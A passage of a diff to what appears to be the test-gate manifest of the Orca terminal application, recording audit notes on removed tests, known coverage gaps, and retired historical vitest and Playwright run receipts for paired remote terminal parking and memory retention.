warm for five minutes. Legacy hosts still gate hidden raw output before xterm scheduling and restore from a bounded snapshot on reveal. Stream recovery adds no polling and is scoped to one stream. Provider-ready reconciliation runs only for PTYs returned by a successful controller inventory, requires an existing remote subscriber, and retains at most one post-settlement waiter per PTY while attach deduplication remains active." + "evidence": "Historical prior-selector account; changed E2E selectors have no new performance measurement. Audit2003: Remove SSH/absent-inventory attach refusal, later-subscriber retry, no-view adoption/takeback, provider-tail/unknown-read projections, failed-keystroke retry and simpler loss reattach examples. Keep the existing-subscriber inventory-ready retry alias only at its retained callback, plus retained held-input cancellation/replacement and overlapping attach/loss fences. The inventory driver also loses the whole empty-worktree-publication registration and folder-host/unverifiable scalar examples. Retire the entire dated10-case attach receipt; retain16 independent receipts only in their original scopes. No retained-memory or real-daemon measurement follows from supplied provider inventories. Changed-source prior results do not validate reduced-source bytes. No fresh execution, equivalent replacement, red/green, measured budget, soak, physical provider/PTY, rendered, live remote/mobile or cross-platform result is claimed. Historical prior account (preserved verbatim): Audit1991: Remove initial-snapshot sequence-domain, limited-tail/truncation and unknown-output-sequence aliases whose callbacks are removed. The source retains partial-chunk replay and requested-snapshot retry/admission at supplied snapshot/data seams, not equivalent replacement or measured retained-memory proof. Preserve the existing stream/pending-wait capacity aliases only to their retained owning multiplex callbacks with supplied PTY resolutions. Removing the sibling-PTY heartbeat dedup work-count sample does not establish a new decorative fanout budget; the unrelated-PTY cancellation fence survives. Preserve17 unrelated dated receipts. Changed-source prior results do not validate reduced-source bytes. No fresh execution, equivalent replacement, red/green, measured budget, soak, physical provider/PTY, rendered, live remote/mobile or cross-platform result is claimed. Historical prior account (preserved verbatim): Historical pre-audit selector account; changed selectors have no new measurement. Historical account for the pre-audit test set; removed work-count alarms and changed selectors have no fresh measurement. Before ordinary parking, six warm-mounted hidden paired xterms receive zero raw frames and schedule zero renderer output drains while host models continue ingesting sustained output. The headed and headless production transports each admit only the initial and final semantic title snapshots per worktree across 180 timed decorative frames, and the real store performs only those 12 exact title mutations. Ordinary parking then retains the host PTY and bounded 5,000-row provider model while destroying five client xterms. Parked watcher synchronization is keyed by bounded parking semantics rather than fresh object identities; unrelated store writes perform zero PTY-map reads when no tab is parked, while parked reconciliation remains bounded by the worktree's terminal tabs and assignments. Decorative title ticks are collapsed both on the paired client-event channel and at the authoritative real-PTY session-tabs classifier before snapshot construction, serialization, transport, recovery, or store application; semantic facts remain exact. Headed and headless oracles require exact reduction from six managers to one, at least 55% staged xterm-cell release, no more than 16 MiB heap growth, and under 500 ms timer drift. The forced hidden-worktree retention policy keeps at most four otherwise un-parkable worktrees mounted and force-parks all after 15 minutes; the separate ordinary hot-retain policy keeps at most four recently visible worktrees warm for five minutes. Legacy hosts still gate hidden raw output before xterm scheduling and restore from a bounded snapshot on reveal. Stream recovery adds no polling and is scoped to one stream. Provider-ready reconciliation runs only for PTYs returned by a successful controller inventory, requires an existing remote subscriber, and retains at most one post-settlement waiter per PTY while attach deduplication remains active." }, "promotionCriteria": [ "Collect 100 consecutive CI passes or 14 days of soak history for the headed and headless parking commands.", @@ -8158,7 +7117,24 @@ "Audit5901 removes only the mobile-creation-and-orchestration-part-03.spec import from the retained runtime driver. The fragment's missing-handle wait abort and waiter retirement on reload-exit alarms are intentionally lost. This is a conservative import-closure notice: named command filters may exclude those cases. Driver selectors remain; unchanged historical receipts retain their original scope and establish no fresh whole-gate pass or equivalent replacement. ", "Audit5916 removes the entire local-worktree-creation-part-02.spec import from the retained runtime driver, intentionally losing the mocked exact-name create refusal when a selected PR matches a remote branch. The sole zero-auth terminal-handle registrar for another deleted suite is also retired, with no authored credit. Driver selectors retain only their narrowed import scope. Unchanged dated independent receipts are not equivalent replacement or fresh whole-gate validation. ", "Audit5922 intentionally retires mixed split/agent parking eligibility classification; incorrect eligibility can unmount a still-needed terminal or hide resume, though the retired predicate suite never mounts or resumes the actual view. These narrow alarms are lost without equivalent replacement. Remaining selectors/assertions and dated evidenceRuns retain their original scope; no fresh validation or whole-gate replacement claim. Preserve complete historical narratives and earlier knownGaps verbatim.", - "Module-layout web/session cleanup: Removed TEST alarms for paired hook/OSC-title heartbeat continuity and freshness, unanswered/authoritative empty-inventory dispatch and sole-writer behavior, legacy-selector resolution, manual-disconnect fencing, queued-disconnect envelopes, storage-rejected host replacement and explicit-loopback SSH persistence. No replacement coverage or new execution is claimed; dated receipts describe their original runs. Prior active fields (historical only): [{\"pointer\":\"/gates/86/commands/4\",\"raw\":\"\\\"pnpm exec vitest run --config config/vitest.config.ts tests/e2e/session-tabs-decorative-title-fanout.unit.test.ts --maxWorkers=1\\\"\"},{\"pointer\":\"/gates/86/commands/5\",\"raw\":\"\\\"pnpm exec vitest run --config config/vitest.config.ts src/main/runtime/construction/orca-runtime.test.ts src/main/runtime/rpc/terminal/terminal-multiplex-initial-snapshot-buffering.test.ts src/main/runtime/rpc/terminal/terminal-multiplex-pty-wait-capacity.test.ts src/main/runtime/rpc/terminal/terminal-subscribe-buffer.test.ts src/renderer/src/components/terminal-pane/pty-transport/output/terminal-side-effect-facts-handler.test.ts src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-transport-activation-inventory-fallback.test.ts src/renderer/src/runtime/rpc/subscriptions/runtime-client-events.test.ts src/renderer/src/web/web-preload-api-runtime-environment.test.ts src/main/ipc/runtime-environments/pairing/runtime-environments-pairing.test.ts\\\"\"},{\"pointer\":\"/gates/86/commands/7\",\"raw\":\"\\\"pnpm exec vitest run --config config/vitest.config.ts src/main/runtime/rpc/methods/session-tabs/session-tabs-inventory-census-race.test.ts src/main/daemon/terminal-host/testing/terminal-host-agent-session.test.ts tests/e2e/session-tabs-empty-inventory-daemon-oracle.unit.test.ts --maxWorkers=1\\\"\"},{\"pointer\":\"/gates/86/testFiles/0\",\"raw\":\"\\\"tests/e2e/session-tabs-decorative-title-fanout.unit.test.ts\\\"\"},{\"pointer\":\"/gates/86/testFiles/2\",\"raw\":\"\\\"src/renderer/src/web/web-preload-api-runtime-environment.test.ts\\\"\"},{\"pointer\":\"/gates/86/testFiles/10\",\"raw\":\"\\\"tests/e2e/session-tabs-empty-inventory-daemon-oracle.unit.test.ts\\\"\"},{\"pointer\":\"/gates/86/assertionRefs/0\",\"raw\":\"{\\n \\\"file\\\": \\\"tests/e2e/session-tabs-decorative-title-fanout.unit.test.ts\\\",\\n \\\"assertions\\\": [\\n \\\"real OSC9999 hook status remains live through title heartbeats without resetting stateStartedAt, then loses unverifiable prompt metadata after its original lease expires\\\"\\n ]\\n }\"},{\"pointer\":\"/gates/86/assertionRefs/3\",\"raw\":\"{\\n \\\"file\\\": \\\"tests/e2e/session-tabs-empty-inventory-daemon-oracle.unit.test.ts\\\",\\n \\\"assertions\\\": [\\n \\\"unpublished empty inventory keeps resume dispatch at zero with the original daemon session, process id, and writer as the sole live writer\\\",\\n \\\"an authoritative empty inventory settles the mirror and releases exactly one resume dispatch with zero liveness probes\\\",\\n \\\"re-enabling unconditional empty hydration makes the identical oracle red with one resume dispatch, two session ids, two process ids, and two writer calls\\\"\\n ]\\n }\"},{\"pointer\":\"/gates/86/assertionRefs/15\",\"raw\":\"{\\n \\\"file\\\": \\\"src/renderer/src/web/web-preload-api-runtime-environment.test.ts\\\",\\n \\\"assertions\\\": [\\n \\\"keeps pairing while manual disconnect fences passive reconnects\\\",\\n \\\"returns a disconnect envelope when a queued active runtime call disconnects\\\",\\n \\\"returns a disconnect envelope when a queued selected environment call disconnects\\\"\\n ]\\n }\"}]" + "Module-layout web/session cleanup: Removed TEST alarms for paired hook/OSC-title heartbeat continuity and freshness, unanswered/authoritative empty-inventory dispatch and sole-writer behavior, legacy-selector resolution, manual-disconnect fencing, queued-disconnect envelopes, storage-rejected host replacement and explicit-loopback SSH persistence. No replacement coverage or new execution is claimed; dated receipts describe their original runs. Prior active fields (historical only): [{\"pointer\":\"/gates/86/commands/4\",\"raw\":\"\\\"pnpm exec vitest run --config config/vitest.config.ts tests/e2e/session-tabs-decorative-title-fanout.unit.test.ts --maxWorkers=1\\\"\"},{\"pointer\":\"/gates/86/commands/5\",\"raw\":\"\\\"pnpm exec vitest run --config config/vitest.config.ts src/main/runtime/construction/orca-runtime.test.ts src/main/runtime/rpc/terminal/terminal-multiplex-initial-snapshot-buffering.test.ts src/main/runtime/rpc/terminal/terminal-multiplex-pty-wait-capacity.test.ts src/main/runtime/rpc/terminal/terminal-subscribe-buffer.test.ts src/renderer/src/components/terminal-pane/pty-transport/output/terminal-side-effect-facts-handler.test.ts src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-transport-activation-inventory-fallback.test.ts src/renderer/src/runtime/rpc/subscriptions/runtime-client-events.test.ts src/renderer/src/web/web-preload-api-runtime-environment.test.ts src/main/ipc/runtime-environments/pairing/runtime-environments-pairing.test.ts\\\"\"},{\"pointer\":\"/gates/86/commands/7\",\"raw\":\"\\\"pnpm exec vitest run --config config/vitest.config.ts src/main/runtime/rpc/methods/session-tabs/session-tabs-inventory-census-race.test.ts src/main/daemon/terminal-host/testing/terminal-host-agent-session.test.ts tests/e2e/session-tabs-empty-inventory-daemon-oracle.unit.test.ts --maxWorkers=1\\\"\"},{\"pointer\":\"/gates/86/testFiles/0\",\"raw\":\"\\\"tests/e2e/session-tabs-decorative-title-fanout.unit.test.ts\\\"\"},{\"pointer\":\"/gates/86/testFiles/2\",\"raw\":\"\\\"src/renderer/src/web/web-preload-api-runtime-environment.test.ts\\\"\"},{\"pointer\":\"/gates/86/testFiles/10\",\"raw\":\"\\\"tests/e2e/session-tabs-empty-inventory-daemon-oracle.unit.test.ts\\\"\"},{\"pointer\":\"/gates/86/assertionRefs/0\",\"raw\":\"{\\n \\\"file\\\": \\\"tests/e2e/session-tabs-decorative-title-fanout.unit.test.ts\\\",\\n \\\"assertions\\\": [\\n \\\"real OSC9999 hook status remains live through title heartbeats without resetting stateStartedAt, then loses unverifiable prompt metadata after its original lease expires\\\"\\n ]\\n }\"},{\"pointer\":\"/gates/86/assertionRefs/3\",\"raw\":\"{\\n \\\"file\\\": \\\"tests/e2e/session-tabs-empty-inventory-daemon-oracle.unit.test.ts\\\",\\n \\\"assertions\\\": [\\n \\\"unpublished empty inventory keeps resume dispatch at zero with the original daemon session, process id, and writer as the sole live writer\\\",\\n \\\"an authoritative empty inventory settles the mirror and releases exactly one resume dispatch with zero liveness probes\\\",\\n \\\"re-enabling unconditional empty hydration makes the identical oracle red with one resume dispatch, two session ids, two process ids, and two writer calls\\\"\\n ]\\n }\"},{\"pointer\":\"/gates/86/assertionRefs/15\",\"raw\":\"{\\n \\\"file\\\": \\\"src/renderer/src/web/web-preload-api-runtime-environment.test.ts\\\",\\n \\\"assertions\\\": [\\n \\\"keeps pairing while manual disconnect fences passive reconnects\\\",\\n \\\"returns a disconnect envelope when a queued active runtime call disconnects\\\",\\n \\\"returns a disconnect envelope when a queued selected environment call disconnects\\\"\\n ]\\n }\"}]", + "E2E layout cleanup retires this complete historical receipt because its exact selector or source changed; it is not current validation. Original receipt verbatim:\n{\n \"date\": \"2026-08-10\",\n \"runner\": \"local\",\n \"platform\": \"macos\",\n \"command\": \"ORCA_E2E_WEB_CLIENT=1 pnpm exec playwright test tests/e2e/paired-remote-terminal-retention-memory.spec.ts --config tests/playwright.config.ts --project electron-headful --workers=1\",\n \"result\": \"passed\",\n \"durationSeconds\": 27.6,\n \"summary\": \"The isolated headed desktop host and separate encrypted paired client drove 180 timed decorative real-PTY titles across six hidden worktrees and observed exactly 12 semantic transport envelopes and 12 production store title mutations, then reduced six managers to one, stayed within heap/cell/timer budgets, restored the bounded host tail exactly, and continued input/output while the host renderer retained zero target managers.\",\n \"currentCommand\": \"ORCA_E2E_WEB_CLIENT=1 pnpm exec playwright test tests/e2e/paired-remote-terminal-retention-memory.spec.ts --config tests/playwright.config.ts --project electron-headful --workers=1\"\n }", + "E2E layout cleanup retires this complete historical receipt because its exact selector or source changed; it is not current validation. Original receipt verbatim:\n{\n \"date\": \"2026-08-10\",\n \"runner\": \"local\",\n \"platform\": \"macos\",\n \"command\": \"ORCA_E2E_WEB_CLIENT=1 SKIP_BUILD=1 pnpm exec playwright test tests/e2e/headless-paired-remote-terminal-retention-memory.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1\",\n \"result\": \"passed\",\n \"durationSeconds\": 33.9,\n \"summary\": \"The isolated headless `orca serve` host passed the same six-worktree real-title transport/store bound, parking, and exact-restoration oracle; a second scenario proved cold activation mounted only the visible paired terminal.\",\n \"currentCommand\": \"ORCA_E2E_WEB_CLIENT=1 SKIP_BUILD=1 pnpm exec playwright test tests/e2e/headless-paired-remote-terminal-retention-memory.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1\"\n }", + "E2E layout cleanup retires this complete historical receipt because its exact selector or source changed; it is not current validation. Original receipt verbatim:\n{\n \"date\": \"2026-08-07\",\n \"runner\": \"local\",\n \"platform\": \"macos\",\n \"command\": \"ORCA_E2E_FORWARD_APP_LOGS=1 SKIP_BUILD=1 pnpm exec playwright test tests/e2e/paired-remote-terminal-host-restart-background-sync.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1 --repeat-each=10 --max-failures=1\",\n \"result\": \"passed\",\n \"durationSeconds\": 126,\n \"summary\": \"Ten consecutive isolated host-relaunch journeys preserved the daemon and PTY identities and resumed terminal input plus live output after the paired transport recovered.\",\n \"currentCommand\": \"ORCA_E2E_FORWARD_APP_LOGS=1 SKIP_BUILD=1 pnpm exec playwright test tests/e2e/paired-remote-terminal-host-restart-background-sync.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1 --repeat-each=10 --max-failures=1\"\n }", + "E2E layout cleanup retires this complete historical receipt because its exact selector or source changed; it is not current validation. Original receipt verbatim:\n{\n \"date\": \"2026-08-07\",\n \"runner\": \"local\",\n \"platform\": \"macos\",\n \"command\": \"SKIP_BUILD=1 pnpm exec playwright test tests/e2e/paired-remote-terminal-host-restart-background-sync.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1\",\n \"result\": \"passed\",\n \"durationSeconds\": 12.5,\n \"summary\": \"With the parking override captured by both host launches, the isolated headed host and separate paired desktop client retained the daemon PID and PTY ID across host relaunch, emitted one target foreground transition, and delivered target plus post-relaunch control input/output. The byte-identical run with only the unknown-state fix reverted failed at the missing target foreground transition.\",\n \"currentCommand\": \"SKIP_BUILD=1 pnpm exec playwright test tests/e2e/paired-remote-terminal-host-restart-background-sync.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1\"\n }", + "E2E layout cleanup retires this complete historical receipt because its exact selector or source changed; it is not current validation. Original receipt verbatim:\n{\n \"date\": \"2026-08-02\",\n \"runner\": \"local\",\n \"platform\": \"macos\",\n \"command\": \"ORCA_E2E_WEB_CLIENT=1 SKIP_BUILD=1 pnpm exec playwright test tests/e2e/paired-remote-terminal-retention-memory.spec.ts --config tests/playwright.config.ts --project electron-headful --workers=1\",\n \"result\": \"passed\",\n \"durationSeconds\": 13.7,\n \"summary\": \"The isolated headed desktop host and encrypted paired web client kept hidden renderer work bounded, ordinary-parked five of six real PTYs, restored the authoritative tail once, preserved PTY identity, and resumed live input/output.\",\n \"currentCommand\": \"ORCA_E2E_WEB_CLIENT=1 SKIP_BUILD=1 pnpm exec playwright test tests/e2e/paired-remote-terminal-retention-memory.spec.ts --config tests/playwright.config.ts --project electron-headful --workers=1\"\n }", + "E2E layout cleanup retires this complete historical receipt because its exact selector or source changed; it is not current validation. Original receipt verbatim:\n{\n \"date\": \"2026-08-02\",\n \"runner\": \"local\",\n \"platform\": \"macos\",\n \"command\": \"ORCA_E2E_WEB_CLIENT=1 SKIP_BUILD=1 pnpm exec playwright test tests/e2e/headless-paired-remote-terminal-retention-memory.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1\",\n \"result\": \"passed\",\n \"durationSeconds\": 31.4,\n \"summary\": \"Both isolated headless `orca serve` scenarios passed: ordinary parking restored authoritative history and cold activation mounted only the visible paired terminal.\",\n \"currentCommand\": \"ORCA_E2E_WEB_CLIENT=1 SKIP_BUILD=1 pnpm exec playwright test tests/e2e/headless-paired-remote-terminal-retention-memory.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1\"\n }", + "E2E layout cleanup retires this complete historical receipt because its exact selector or source changed; it is not current validation. Original receipt verbatim:\n{\n \"date\": \"2026-07-30\",\n \"runner\": \"local\",\n \"platform\": \"macos\",\n \"command\": \"ORCA_E2E_WEB_CLIENT=1 SKIP_BUILD=1 pnpm exec playwright test tests/e2e/paired-remote-terminal-probe-gap-recovery.spec.ts --config tests/playwright.config.ts --project electron-headful --workers=1\",\n \"result\": \"passed\",\n \"durationSeconds\": 17.3,\n \"summary\": \"The headed paired oracle dropped and acknowledged output only for the original client stream, proved the fixture consumed input while the host model advanced and the client stayed stale, then replaced the stream, repainted exact fixture output, preserved authoritative PTY identity and target-tab cardinality, and resumed live I/O.\",\n \"currentCommand\": \"ORCA_E2E_WEB_CLIENT=1 SKIP_BUILD=1 pnpm exec playwright test tests/e2e/paired-remote-terminal-probe-gap-recovery.spec.ts --config tests/playwright.config.ts --project electron-headful --workers=1\"\n }", + "E2E layout cleanup retires this complete historical receipt because its exact selector or source changed; it is not current validation. Original receipt verbatim:\n{\n \"date\": \"2026-07-29\",\n \"runner\": \"local\",\n \"platform\": \"macos\",\n \"command\": \"ORCA_E2E_WEB_CLIENT=1 SKIP_BUILD=1 pnpm exec playwright test tests/e2e/paired-remote-terminal-truncated-tail-first-paint.spec.ts --config tests/playwright.config.ts --project electron-headful --workers=1\",\n \"result\": \"passed\",\n \"durationSeconds\": 11.4,\n \"summary\": \"The headed paired-server scenario painted a truncated retained history after reload; the capability-disabled legacy fallback scenario is skipped unless explicitly selected.\",\n \"currentCommand\": \"ORCA_E2E_WEB_CLIENT=1 SKIP_BUILD=1 pnpm exec playwright test tests/e2e/paired-remote-terminal-truncated-tail-first-paint.spec.ts --config tests/playwright.config.ts --project electron-headful --workers=1\"\n }", + "E2E layout cleanup retires this complete historical receipt because its exact selector or source changed; it is not current validation. Original receipt verbatim:\n{\n \"date\": \"2026-07-29\",\n \"runner\": \"local\",\n \"platform\": \"macos\",\n \"command\": \"ORCA_E2E_WEB_CLIENT=1 SKIP_BUILD=1 pnpm exec playwright test tests/e2e/paired-remote-terminal-stall-recovery.spec.ts --config tests/playwright.config.ts --project electron-headful --workers=1\",\n \"result\": \"passed\",\n \"durationSeconds\": 18,\n \"summary\": \"The byte-identical headed oracle exhausted one paired stream, proved host/client divergence, then repainted the marker while preserving the original PTY and tab.\",\n \"currentCommand\": \"ORCA_E2E_WEB_CLIENT=1 SKIP_BUILD=1 pnpm exec playwright test tests/e2e/paired-remote-terminal-stall-recovery.spec.ts --config tests/playwright.config.ts --project electron-headful --workers=1\"\n }", + "E2E layout cleanup retires this complete historical receipt because its exact selector or source changed; it is not current validation. Original receipt verbatim:\n{\n \"date\": \"2026-07-29\",\n \"runner\": \"local\",\n \"platform\": \"macos\",\n \"command\": \"ORCA_E2E_WEB_CLIENT=1 SKIP_BUILD=1 pnpm exec playwright test tests/e2e/paired-remote-terminal-retention-memory.spec.ts --config tests/playwright.config.ts --project electron-headful --workers=1\",\n \"result\": \"passed\",\n \"durationSeconds\": 14.5,\n \"summary\": \"Six real paired worktrees and host PTYs ordinary-parked five client xterms with the lossy budget disabled, released at least 55% of staged cells within heap and timer-lag budgets, then restored requested row 4,000, parked-time output, and live I/O on the original PTY while every target terminal remained unmounted in the host renderer.\",\n \"currentCommand\": \"ORCA_E2E_WEB_CLIENT=1 SKIP_BUILD=1 pnpm exec playwright test tests/e2e/paired-remote-terminal-retention-memory.spec.ts --config tests/playwright.config.ts --project electron-headful --workers=1\"\n }", + "E2E layout cleanup retires this complete historical receipt because its exact selector or source changed; it is not current validation. Original receipt verbatim:\n{\n \"date\": \"2026-07-29\",\n \"runner\": \"local\",\n \"platform\": \"macos\",\n \"command\": \"ORCA_E2E_WEB_CLIENT=1 SKIP_BUILD=1 pnpm exec playwright test tests/e2e/headless-paired-remote-terminal-stall-recovery.spec.ts --config tests/playwright.config.ts --project electron-headful --workers=1\",\n \"result\": \"passed\",\n \"durationSeconds\": 14.4,\n \"summary\": \"An isolated `orca serve` host and paired web renderer exhausted one terminal stream, recovered it, and preserved the original PTY and tab without exposing readiness or pairing material.\",\n \"currentCommand\": \"ORCA_E2E_WEB_CLIENT=1 SKIP_BUILD=1 pnpm exec playwright test tests/e2e/headless-paired-remote-terminal-stall-recovery.spec.ts --config tests/playwright.config.ts --project electron-headful --workers=1\"\n }", + "E2E layout cleanup retires this complete historical receipt because its exact selector or source changed; it is not current validation. Original receipt verbatim:\n{\n \"date\": \"2026-07-30\",\n \"runner\": \"local\",\n \"platform\": \"macos\",\n \"command\": \"ORCA_E2E_WEB_CLIENT=1 SKIP_BUILD=1 pnpm exec playwright test tests/e2e/headless-paired-remote-terminal-retention-memory.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1\",\n \"result\": \"passed\",\n \"durationSeconds\": 23,\n \"summary\": \"The isolated headless `orca serve` host passed ordinary parking plus cold activation: deferred tabs stayed unmounted until activation, preserved PTY identity and parked output, and resumed live input.\",\n \"currentCommand\": \"ORCA_E2E_WEB_CLIENT=1 SKIP_BUILD=1 pnpm exec playwright test tests/e2e/headless-paired-remote-terminal-retention-memory.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1\"\n }", + "E2E layout cleanup retires this complete historical receipt because its exact selector or source changed; it is not current validation. Original receipt verbatim:\n{\n \"date\": \"2026-07-29\",\n \"runner\": \"local\",\n \"platform\": \"macos\",\n \"command\": \"ORCA_E2E_WEB_CLIENT=1 ORCA_E2E_DISABLE_PAIRED_TERMINAL_PARKING=1 SKIP_BUILD=1 pnpm exec playwright test tests/e2e/paired-remote-terminal-truncated-tail-first-paint.spec.ts --config tests/playwright.config.ts --project electron-headful --workers=1\",\n \"result\": \"passed\",\n \"durationSeconds\": 18.6,\n \"summary\": \"A host without terminal.paired-parking.v1 preserved the existing lossy limit-one fallback, restored retained output, and continued PTY input/output.\",\n \"currentCommand\": \"ORCA_E2E_WEB_CLIENT=1 ORCA_E2E_DISABLE_PAIRED_TERMINAL_PARKING=1 SKIP_BUILD=1 pnpm exec playwright test tests/e2e/paired-remote-terminal-truncated-tail-first-paint.spec.ts --config tests/playwright.config.ts --project electron-headful --workers=1\"\n }", + "E2E layout cleanup retires this complete historical receipt because its exact selector or source changed; it is not current validation. Original receipt verbatim:\n{\n \"date\": \"2026-07-30\",\n \"runner\": \"local\",\n \"platform\": \"macos\",\n \"command\": \"ORCA_E2E_WEB_CLIENT=1 SKIP_BUILD=1 pnpm exec playwright test tests/e2e/paired-remote-terminal-retention-memory.spec.ts --config tests/playwright.config.ts --project electron-headful --workers=1\",\n \"result\": \"passed\",\n \"durationSeconds\": 17.5,\n \"summary\": \"The headed six-PTY oracle kept all warm-mounted hidden streams at zero renderer scheduler enqueues/drains under sustained output and under 500 ms timer lag, then restored the authoritative flood tail and parked/live markers exactly once.\",\n \"currentCommand\": \"ORCA_E2E_WEB_CLIENT=1 SKIP_BUILD=1 pnpm exec playwright test tests/e2e/paired-remote-terminal-retention-memory.spec.ts --config tests/playwright.config.ts --project electron-headful --workers=1\"\n }", + "E2E layout cleanup: original active selector metadata is historical, not current validation:\ncommands: [\n \"pnpm exec vitest run --config config/vitest.config.ts src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-transport-unpublished-host-graph.test.ts\",\n \"ORCA_BACKGROUND_LAUNCH=1 pnpm exec playwright test tests/e2e/paired-remote-terminal-host-quit-reconnect-input.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1\",\n \"pnpm exec vitest run --config config/vitest.config.ts src/main/runtime/terminal/query/runtime-terminal-inventory-contracts.test.ts\",\n \"ORCA_BACKGROUND_LAUNCH=1 pnpm exec playwright test tests/e2e/paired-client-first-terminal-unopened-host-worktree.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1\",\n \"pnpm exec vitest run --config config/vitest.config.ts src/main/runtime/construction/orca-runtime.test.ts src/main/runtime/rpc/terminal/terminal-multiplex-initial-snapshot-buffering.test.ts src/main/runtime/rpc/terminal/terminal-multiplex-pty-wait-capacity.test.ts src/main/runtime/rpc/terminal/terminal-subscribe-buffer.test.ts src/renderer/src/components/terminal-pane/pty-transport/output/terminal-side-effect-facts-handler.test.ts src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-transport-activation-inventory-fallback.test.ts src/renderer/src/runtime/rpc/subscriptions/runtime-client-events.test.ts src/renderer/src/web/preload-api/runtime/web-preload-api-runtime-environment.test.ts src/main/ipc/runtime-environments/pairing/runtime-environments-pairing.test.ts\",\n \"pnpm exec vitest run --config config/vitest.config.ts src/main/runtime/terminal/adoption/terminal-subscriber-driven-daemon-attach.test.ts\",\n \"pnpm exec vitest run --config config/vitest.config.ts src/main/runtime/rpc/methods/session-tabs/session-tabs-inventory-census-race.test.ts src/main/daemon/terminal-host/testing/terminal-host-agent-session.test.ts --maxWorkers=1\",\n \"pnpm exec vitest run --config config/vitest.config.ts src/shared/remote-runtime/control/remote-runtime-shared-control-connection.test.ts\",\n \"SKIP_BUILD=1 pnpm exec playwright test tests/e2e/paired-remote-terminal-host-restart-background-sync.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1\",\n \"ORCA_E2E_FORWARD_APP_LOGS=1 SKIP_BUILD=1 pnpm exec playwright test tests/e2e/paired-remote-terminal-host-restart-background-sync.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1 --repeat-each=10 --max-failures=1\",\n \"ORCA_E2E_WEB_CLIENT=1 SKIP_BUILD=1 pnpm exec playwright test tests/e2e/paired-remote-terminal-truncated-tail-first-paint.spec.ts --config tests/playwright.config.ts --project electron-headful --workers=1\",\n \"SKIP_BUILD=1 pnpm exec playwright test tests/e2e/paired-remote-terminal-lossy-initial-snapshot.spec.ts --config tests/playwright.config.ts --project electron-headful --workers=1\",\n \"ORCA_E2E_WEB_CLIENT=1 ORCA_E2E_DISABLE_PAIRED_TERMINAL_PARKING=1 SKIP_BUILD=1 pnpm exec playwright test tests/e2e/paired-remote-terminal-truncated-tail-first-paint.spec.ts --config tests/playwright.config.ts --project electron-headful --workers=1\",\n \"ORCA_E2E_WEB_CLIENT=1 SKIP_BUILD=1 pnpm exec playwright test tests/e2e/paired-remote-terminal-stall-recovery.spec.ts --config tests/playwright.config.ts --project electron-headful --workers=1\",\n \"ORCA_E2E_WEB_CLIENT=1 SKIP_BUILD=1 pnpm exec playwright test tests/e2e/paired-remote-terminal-probe-gap-recovery.spec.ts --config tests/playwright.config.ts --project electron-headful --workers=1\",\n \"ORCA_E2E_WEB_CLIENT=1 SKIP_BUILD=1 pnpm exec playwright test tests/e2e/headless-paired-remote-terminal-stall-recovery.spec.ts --config tests/playwright.config.ts --project electron-headful --workers=1\",\n \"ORCA_E2E_WEB_CLIENT=1 pnpm exec playwright test tests/e2e/paired-remote-terminal-retention-memory.spec.ts --config tests/playwright.config.ts --project electron-headful --workers=1\",\n \"ORCA_E2E_WEB_CLIENT=1 SKIP_BUILD=1 pnpm exec playwright test tests/e2e/paired-remote-terminal-retention-memory.spec.ts --config tests/playwright.config.ts --project electron-headful --workers=1\",\n \"ORCA_E2E_WEB_CLIENT=1 SKIP_BUILD=1 pnpm exec playwright test tests/e2e/headless-paired-remote-terminal-retention-memory.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1\",\n \"SKIP_BUILD=1 pnpm exec playwright test tests/e2e/terminal-parked-memory.spec.ts --config tests/playwright.config.ts --project electron-headful --workers=1\"\n ]\ntestFiles: [\n \"src/main/runtime/construction/orca-runtime.test.ts\",\n \"src/renderer/src/web/preload-api/runtime/web-preload-api-runtime-environment.test.ts\",\n \"src/main/ipc/runtime-environments/pairing/runtime-environments-pairing.test.ts\",\n \"src/main/runtime/rpc/terminal/terminal-multiplex-initial-snapshot-buffering.test.ts\",\n \"src/main/runtime/rpc/terminal/terminal-multiplex-pty-wait-capacity.test.ts\",\n \"src/main/runtime/rpc/terminal/terminal-subscribe-buffer.test.ts\",\n \"src/main/runtime/terminal/adoption/terminal-subscriber-driven-daemon-attach.test.ts\",\n \"src/main/runtime/rpc/methods/session-tabs/session-tabs-inventory-census-race.test.ts\",\n \"src/main/daemon/terminal-host/testing/terminal-host-agent-session.test.ts\",\n \"src/renderer/src/components/terminal-pane/pty-transport/output/terminal-side-effect-facts-handler.test.ts\",\n \"src/renderer/src/runtime/rpc/subscriptions/runtime-client-events.test.ts\",\n \"src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-transport-activation-inventory-fallback.test.ts\",\n \"src/shared/remote-runtime/control/remote-runtime-shared-control-connection.test.ts\",\n \"tests/e2e/paired-remote-terminal-lossy-initial-snapshot.spec.ts\",\n \"tests/e2e/paired-remote-terminal-truncated-tail-first-paint.spec.ts\",\n \"tests/e2e/paired-remote-terminal-stall-recovery.spec.ts\",\n \"tests/e2e/paired-remote-terminal-probe-gap-recovery.spec.ts\",\n \"tests/e2e/headless-paired-remote-terminal-stall-recovery.spec.ts\",\n \"tests/e2e/paired-remote-terminal-retention-memory.spec.ts\",\n \"tests/e2e/headless-paired-remote-terminal-retention-memory.spec.ts\",\n \"tests/e2e/terminal-parked-memory.spec.ts\",\n \"tests/e2e/paired-remote-terminal-host-restart-background-sync.spec.ts\",\n \"src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-transport-unpublished-host-graph.test.ts\",\n \"tests/e2e/paired-remote-terminal-host-quit-reconnect-input.spec.ts\",\n 